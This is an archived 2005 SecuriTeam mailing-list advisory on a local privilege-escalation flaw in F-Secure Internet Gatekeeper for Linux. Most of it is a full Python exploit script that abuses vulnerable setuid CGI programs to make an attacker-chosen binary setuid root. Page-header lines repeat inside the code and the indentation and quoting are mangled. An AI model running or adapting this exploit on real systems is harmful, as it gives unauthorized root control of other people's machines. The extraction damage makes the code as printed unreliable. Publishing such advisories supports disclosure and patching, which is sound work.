

[EXPL] F-Secure Internet Gatekeeper Local Root (Exploit)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-11/0031.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 11/08/05

To: list@securiteam.com

Date: 8 Nov 2005 10:45:17 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

F-Secure Internet Gatekeeper Local Root (Exploit)

SUMMARY

" <<http://www.f-secure.com/>> F-Secure Internet Gatekeeper is a high-performance and fully automated antivirus and content filtering solution for protecting corporate e-mail (SMTP) and web traffic (HTTP, FTP over HTTP) at the Internet gateway."

Lack of proper input validation within F-Secure Internet Gatekeeper allow local attackers to cause the program to execute arbitrary programs.

DETAILS

Vulnerable Systems:

* F-Secure Internet Gatekeeper for Linux version 2.15.483 and prior

Immune Systems:

* F-Secure Internet Gatekeeper for Linux version 2.15.484

Exploit:

```
#!/usr/bin/env python
```

```
#
```

Securiteam: [EXPL] F-Secure Internet Gatekeeper Local Root (Exploit)

```
# F-Secure Anti-Virus Internet Gatekeeper for Linux <2.15.484
# F-Secure Anti-Virus Linux Gateway <2.16 # added line 3-4 for references
/str0ke
#
#####
# fsigk_exp.py: F-Secure Internet Gatekeeper for Linux local root exploit
# acknowledgements: everyone in pure-elite and uDc.
#
# coded by: xavier at tigerteam.se [http://xavsec.blogspot.com]
#####

#####
# Make proper checks and import nessesary calls from modules.
#

try:
    from sys import argv
except Exception:
    print "the 'sys' module could not be loaded"
    raise SystemExit

try:
    from os import unlink, stat, error, symlink, system, chmod
except Exception:
    print "the 'os' module could not be loaded"
    raise SystemExit

try:
    import getopt
except Exception:
    print "the 'getopt' module could not be loaded"
    raise SystemExit

#####
# Constants.
#

__program__ = argv[0]
__version__ = "0.1beta"
__author__ = "<xavier@tigerteam.se>"
__lastedit__ = "Thu Sep 22 23:18:39 EDT 2005"
__usage__ = ""usage: %s [-options]

options:
    --version show program's version number and exit.
    -h, --help show this help message and exit.

    -s, --suid file location to suid.
    -d, --dir cgi directory.
    -c, --clean cleans any left over files from the environment
creation.
```

Securiteam: [EXPL] F-Secure Internet Gatekeeper Local Root (Exploit)

```
-# enter numerical value of vulnerable file to exploit.
[list below]

1: ifconfig_suid.cgi | 2: reboot_suid.cgi | 3: proxy_suid.cgi
4: edittmpl_suid.cgi | 5: version_suid.cgi | 6: hostname_suid.cgi
7: gateway_suid.cgi | 8: halt_suid.cgi | 9: edituserdb_suid.cgi
10: htpasswd_suid.cgi | 11: pattern_up_suid.cgi | 12: license_suid.cgi
13: iptables_suid.cgi | 14: dns_suid.cgi | 15:
pattern_autoup_suid.cgi
16: spam_list_suid.cgi | 17: diag_suid.cgi"""" % (__program__)

#####
# Functions.
#

def _write(file, payload):
    try:
        open(file, 'w').write(payload)
        chmod(file, 0100)
    except Exception, err:
        print ("[-] %s" % (err))

def _exists(path):
    try:
        stat(path)
    except error:
        return False
    return True

def _handleopts():
    for opt in argv[1:]:
        if opt in ("-h", "--help"):
            print "%s" % (__usage__),
            raise SystemExit
        if opt in ("-v", "--version"):
            print "%s (%s)" % (__version__, __lastedit__),
            raise SystemExit

_method_ = 'ifconfig_suid.cgi'
_file_ = 'ifconfig.cgi'
for opt in argv[1:]:
    if opt == "-1":
        _method_ = 'ifconfig_suid.cgi'
    elif opt == "-2":
        _method_ = 'reboot_suid.cgi'
        _file_ = 'reboot.cgi'
    elif opt == "-3":
        _method_ = 'proxy_suid.cgi'
        _file_ = 'proxy.cgi'
    elif opt == "-4":
        _method_ = 'edittmpl_suid.cgi'
```

Securiteam: [EXPL] F-Secure Internet Gatekeeper Local Root (Exploit)

```
_file_ = 'edittmpl.cgi'
elif opt == "-5":
    _method_ = 'version_suid.cgi'
    _file_ = 'version.cgi'
elif opt == "-6":
    _method_ = 'hostname_suid.cgi'
    _file_ = 'hostname.cgi'
elif opt == "-7":
    _method_ = 'gateway_suid.cgi'
    _file_ = 'gateway.cgi'
elif opt == "-8":
    _method_ = 'halt_suid.cgi'
    _file_ = 'halt.cgi'
elif opt == "-9":
    _method_ = 'edituserdb_suid.cgi'
    _file_ = 'edituserdb.cgi'
elif opt == "-10":
    _method_ = 'htpasswd_suid.cgi'
    _file_ = 'htpasswd.cgi'
elif opt == "-11":
    _method_ = 'pattern_up_suid.cgi'
    _file_ = 'pattern_up.cgi'
elif opt == "-12":
    _method_ = 'license_suid.cgi'
    _file_ = 'license.cgi'
elif opt == "-13":
    _method_ = 'iptables_suid.cgi'
    _file_ = 'iptables.cgi'
elif opt == "-14":
    _method_ = 'dns_suid.cgi'
    _file_ = 'dns.cgi'
elif opt == "-15":
    _method_ = 'pattern_autoup_suid.cgi'
    _file_ = 'pattern_autoup.cgi'
elif opt == "-16":
    _method_ = 'spam_list_suid.cgi'
    _file_ = 'spam_list.cgi'
elif opt == "-17":
    _method_ = 'diag_suid.cgi'
    _file_ = 'diag.cgi'
else:
    pass

try:
    opts = getopt.getopt(argv[1:], 'c1234567890s:d:', ['clean', \
                                                    'suid=', \
                                                    'dir='])[0]
except Exception, (err):
    print "[-] %s" % (err),
    raise SystemExit
```

Securiteam: [EXPL] F-Secure Internet Gatekeeper Local Root (Exploit)

```
_dir_ = None
_payload_ = None
_combine_ = None

for o, a in opts:
    if o in ("-c", "--clean"):
        _clean()
        print "[*] done"
        raise SystemExit
    if o in ("-d", "--dir"):
        if _exists(a):
            _dir_ = a
        else:
            print "[-] unable to access the %s directory" % (_dir_),
            raise SystemExit
    if o in ("-s", "--suid"):
        if _exists(a):
            _payload_ = _suid(a)
        else:
            print "[-] unable to access binary."
            raise SystemExit

if _dir_ == None:
    print "[-] no directory was given [try -h for help menu]"
    raise SystemExit
if _payload_ == None:
    print "[-] enter binary to suid [try -h for help menu]"
    raise SystemExit
_combined_ = "%s/%s" % (_dir_, _method_)
if not _exists(_combined_):
    print "[-] method not possible, try another."
    raise SystemExit

print "[*] creating environment..."
try:
    symlink('%s/%s' % (_dir_, _method_), 'runbad')
    _write(_file_, _payload_)
except Exception, err:
    raise SystemExit

def _suid(file):
    _suid_ = """"#!/bin/sh
chown 0.0 %(file)s
chmod 4755 %(file)s
"""" % (locals())
    return _suid_

def _clean():
    try:
        files = ['runbad', 'ifconfig.cgi', 'reboot.cgi', 'proxy.cgi',
                'edittmpl.cgi', 'version.cgi', 'hostname.cgi',
```

Securiteam: [EXPL] F-Secure Internet Gatekeeper Local Root (Exploit)

```
'gateway.cgi',
    'halt.cgi', 'edituserdb.cgi', 'htpasswd.cgi',
'pattern_up.cgi',
    'license.cgi', 'iptables.cgi', 'dns.cgi',
'pattern_autoup.cgi',
    'spam_list.cgi', 'diag_suid.cgi']

    for file in files:
        if _exists(file): unlink(file)

except Exception, err:
    print "[-] %s" % (err),

#####
# main() // main code.
#

def main():
    try:
        print "[INFO] F-Secure Internet Gatekeeper for Linux <=2.10-431
local exploit by %s" % (__author__)
        print "[*] handling options, arguments..."
        _handleopts()
        print "[*] executing exploit..."
        system('./runbad')
        print "[*] cleaning..."
        _clean()
        print "[*] done... try executing the specified binary."
    except KeyboardInterrupt:
        print "[-] caught keyboard interuption"
        raise SystemExit
    except Exception, (err):
        _clean()
        raise SystemExit

if __name__ == '__main__': main()
#EoF
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:xavier@tigerteam.se>> Xavier de Leon.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

Securiteam: [EXPL] F-Secure Internet Gatekeeper Local Root (Exploit)

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.